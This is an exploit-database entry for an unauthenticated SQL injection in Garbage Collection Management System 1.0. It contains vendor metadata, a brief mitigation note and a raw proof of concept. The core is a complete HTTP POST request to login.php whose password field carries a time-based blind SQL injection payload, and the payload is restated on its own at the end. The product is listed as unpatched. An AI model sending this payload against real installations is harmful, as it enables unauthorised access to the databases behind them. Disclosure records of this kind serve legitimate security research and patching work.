header-logo
Suggest Exploit
vendor:
Garbage Collection Management System
by:
ircashem
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Garbage Collection Management System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:garbage_collection_management_system
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 20.04
2021

Garbage Collection Management System 1.0 – SQL Injection (Unauthenticated)

An unauthenticated SQL injection vulnerability exists in Garbage Collection Management System 1.0. An attacker can send a specially crafted HTTP POST request to the login.php page with malicious SQL payload in the username and password fields to execute arbitrary SQL commands on the underlying database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection (Unauthenticated)
# Exploit Author: ircashem
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /login.php HTTP/1.1
Content-Length: 456
Host: localhost 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------238993435340593308934076060075
Origin: http://localhost
DNT: 1
Referer: http://localhost/
Cookie: PHPSESSID=v9j5jnmku4ags9lmp44ejah8im
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Connection: close

-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="username"

admin
-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="password"

admin' AND (SELECT 1 from (select sleep(5))a) -- -
-----------------------------238993435340593308934076060075
Content-Disposition: form-data; name="submit"


-----------------------------238993435340593308934076060075--

###########
# Payload #
###########

username=admin
password=admin' AND (SELECT 1 from (select sleep(5))a) -- -